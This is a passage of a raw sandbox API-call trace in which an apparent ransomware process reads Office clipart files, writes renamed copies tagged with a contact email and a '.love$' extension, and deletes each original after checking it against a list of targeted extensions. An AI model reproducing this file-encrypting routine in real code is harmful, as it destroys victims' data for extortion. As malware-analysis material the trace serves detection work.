Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0227.808] lstrlenW (lpString=".zip") returned 4 [0227.808] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.808] lstrlenW (lpString=".rar") returned 4 [0227.808] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.808] lstrlenW (lpString=".bz2") returned 4 [0227.808] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.809] lstrlenW (lpString=".7z") returned 3 [0227.809] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0227.809] lstrlenW (lpString=".dbf") returned 4 [0227.809] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0227.809] lstrlenW (lpString=".1cd") returned 4 [0227.809] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0227.809] lstrlenW (lpString=".jpg") returned 4 [0227.809] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.809] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0227.809] lstrlenW (lpString="AN04195_.WMF") returned 12 [0227.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0227.810] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=4612) returned 1 [0227.810] CloseHandle (hObject=0x404) returned 1 [0227.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 0x220 [0227.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0227.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0227.811] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.811] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0227.812] GetLastError () returned 0x0 [0227.812] ReadFile (in: hFile=0x404, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x1204, lpOverlapped=0x0) returned 1 [0228.061] WriteFile (in: hFile=0x450, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x1210, lpOverlapped=0x0) returned 1 [0228.062] ReadFile (in: hFile=0x404, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0228.062] WriteFile (in: hFile=0x450, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0228.062] SetEndOfFile (hFile=0x450) returned 1 [0228.063] CloseHandle (hObject=0x450) returned 1 [0228.064] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0228.064] SetEndOfFile (hFile=0x404) returned 1 [0228.070] CloseHandle (hObject=0x404) returned 1 [0228.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0228.072] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 1 [0228.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0228.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0228.073] lstrlenW (lpString=".doc") returned 4 [0228.073] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0228.073] lstrlenW (lpString=".docx") returned 5 [0228.073] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0228.073] lstrlenW (lpString=".pdf") returned 4 [0228.073] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0228.074] lstrlenW (lpString=".xls") returned 4 [0228.074] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0228.074] lstrlenW (lpString=".xlsx") returned 5 [0228.074] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0228.074] lstrlenW (lpString=".ppt") returned 4 [0228.074] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0228.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0228.074] lstrlenW (lpString=".zip") returned 4 [0228.074] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0228.074] lstrlenW (lpString=".rar") returned 4 [0228.074] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0228.074] lstrlenW (lpString=".bz2") returned 4 [0228.074] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0228.074] lstrlenW (lpString=".7z") returned 3 [0228.074] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0228.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0228.074] lstrlenW (lpString=".dbf") returned 4 [0228.074] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0228.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0228.074] lstrlenW (lpString=".1cd") returned 4 [0228.074] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0228.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0228.074] lstrlenW (lpString=".jpg") returned 4 [0228.074] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0228.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0228.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0228.074] lstrlenW (lpString=".doc") returned 4 [0228.074] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0228.075] lstrlenW (lpString=".docx") returned 5 [0228.075] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0228.075] lstrlenW (lpString=".pdf") returned 4 [0228.075] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0228.075] lstrlenW (lpString=".xls") returned 4 [0228.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0228.075] lstrlenW (lpString=".xlsx") returned 5 [0228.075] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0228.075] lstrlenW (lpString=".ppt") returned 4 [0228.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0228.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0228.075] lstrlenW (lpString=".zip") returned 4 [0228.075] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0228.075] lstrlenW (lpString=".rar") returned 4 [0228.075] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0228.075] lstrlenW (lpString=".bz2") returned 4 [0228.075] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0228.075] lstrlenW (lpString=".7z") returned 3 [0228.075] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0228.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0228.075] lstrlenW (lpString=".dbf") returned 4 [0228.075] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0228.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0228.075] lstrlenW (lpString=".1cd") returned 4 [0228.075] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0228.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0228.075] lstrlenW (lpString=".jpg") returned 4 [0228.075] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0228.076] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0228.076] lstrlenW (lpString="AN04196_.WMF") returned 12 [0228.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0228.077] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=3144) returned 1 [0228.077] CloseHandle (hObject=0x404) returned 1 [0228.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 0x220 [0228.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0228.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0228.078] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0228.078] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0228.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0228.079] GetLastError () returned 0x0 [0228.079] ReadFile (in: hFile=0x404, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0xc48, lpOverlapped=0x0) returned 1 [0228.081] WriteFile (in: hFile=0x450, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xc50, lpOverlapped=0x0) returned 1 [0228.082] ReadFile (in: hFile=0x404, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0228.082] WriteFile (in: hFile=0x450, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0228.083] SetEndOfFile (hFile=0x450) returned 1 [0228.083] CloseHandle (hObject=0x450) returned 1 [0228.084] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0228.084] SetEndOfFile (hFile=0x404) returned 1 [0228.088] CloseHandle (hObject=0x404) returned 1 [0228.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0228.089] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 1 [0228.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0228.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0228.090] lstrlenW (lpString=".doc") returned 4 [0228.090] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0228.090] lstrlenW (lpString=".docx") returned 5 [0228.090] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0228.090] lstrlenW (lpString=".pdf") returned 4 [0228.090] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0228.090] lstrlenW (lpString=".xls") returned 4 [0228.090] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0228.090] lstrlenW (lpString=".xlsx") returned 5 [0228.090] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0228.090] lstrlenW (lpString=".ppt") returned 4 [0228.090] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0228.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0228.090] lstrlenW (lpString=".zip") returned 4 [0228.090] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0228.090] lstrlenW (lpString=".rar") returned 4 [0228.090] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0228.091] lstrlenW (lpString=".bz2") returned 4 [0228.091] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0228.091] lstrlenW (lpString=".7z") returned 3 [0228.091] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0228.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0228.091] lstrlenW (lpString=".dbf") returned 4 [0228.091] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0228.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0228.091] lstrlenW (lpString=".1cd") returned 4 [0228.091] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0228.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0228.091] lstrlenW (lpString=".jpg") returned 4 [0228.091] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0228.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0228.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0228.091] lstrlenW (lpString=".doc") returned 4 [0228.091] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0228.092] lstrlenW (lpString=".docx") returned 5 [0228.092] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0228.092] lstrlenW (lpString=".pdf") returned 4 [0228.092] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0228.092] lstrlenW (lpString=".xls") returned 4 [0228.092] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0228.092] lstrlenW (lpString=".xlsx") returned 5 [0228.092] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0228.092] lstrlenW (lpString=".ppt") returned 4 [0228.092] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0228.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0228.092] lstrlenW (lpString=".zip") returned 4 [0228.092] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0228.092] lstrlenW (lpString=".rar") returned 4 [0228.092] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0228.092] lstrlenW (lpString=".bz2") returned 4 [0228.092] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0228.092] lstrlenW (lpString=".7z") returned 3 [0228.092] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0228.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0228.093] lstrlenW (lpString=".dbf") returned 4 [0228.093] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0228.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0228.093] lstrlenW (lpString=".1cd") returned 4 [0228.093] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0228.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0228.093] lstrlenW (lpString=".jpg") returned 4 [0228.093] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0228.093] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0228.093] lstrlenW (lpString="AN04206_.WMF") returned 12 [0228.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0228.094] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=7668) returned 1 [0228.094] CloseHandle (hObject=0x404) returned 1 [0228.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 0x220 [0228.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0228.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0228.095] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0228.095] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0228.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0228.096] GetLastError () returned 0x0 [0228.096] ReadFile (in: hFile=0x404, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x1df4, lpOverlapped=0x0) returned 1 [0228.319] WriteFile (in: hFile=0x450, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x1e00, lpOverlapped=0x0) returned 1 [0228.320] ReadFile (in: hFile=0x404, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0228.320] WriteFile (in: hFile=0x450, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0228.320] SetEndOfFile (hFile=0x450) returned 1 [0228.320] CloseHandle (hObject=0x450) returned 1 [0228.323] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0228.323] SetEndOfFile (hFile=0x404) returned 1 [0228.328] CloseHandle (hObject=0x404) returned 1 [0228.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0229.017] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 1 [0229.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0229.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0229.289] lstrlenW (lpString=".doc") returned 4 [0229.289] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.289] lstrlenW (lpString=".docx") returned 5 [0229.289] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0229.289] lstrlenW (lpString=".pdf") returned 4 [0229.289] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.290] lstrlenW (lpString=".xls") returned 4 [0229.290] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.290] lstrlenW (lpString=".xlsx") returned 5 [0229.290] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0229.290] lstrlenW (lpString=".ppt") returned 4 [0229.290] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0229.290] lstrlenW (lpString=".zip") returned 4 [0229.290] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.290] lstrlenW (lpString=".rar") returned 4 [0229.290] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.290] lstrlenW (lpString=".bz2") returned 4 [0229.290] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.290] lstrlenW (lpString=".7z") returned 3 [0229.290] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0229.290] lstrlenW (lpString=".dbf") returned 4 [0229.290] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0229.290] lstrlenW (lpString=".1cd") returned 4 [0229.290] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0229.290] lstrlenW (lpString=".jpg") returned 4 [0229.290] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0229.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0229.291] lstrlenW (lpString=".doc") returned 4 [0229.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.291] lstrlenW (lpString=".docx") returned 5 [0229.291] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0229.291] lstrlenW (lpString=".pdf") returned 4 [0229.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.291] lstrlenW (lpString=".xls") returned 4 [0229.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.291] lstrlenW (lpString=".xlsx") returned 5 [0229.291] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0229.291] lstrlenW (lpString=".ppt") returned 4 [0229.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0229.291] lstrlenW (lpString=".zip") returned 4 [0229.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.291] lstrlenW (lpString=".rar") returned 4 [0229.291] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.291] lstrlenW (lpString=".bz2") returned 4 [0229.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.291] lstrlenW (lpString=".7z") returned 3 [0229.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 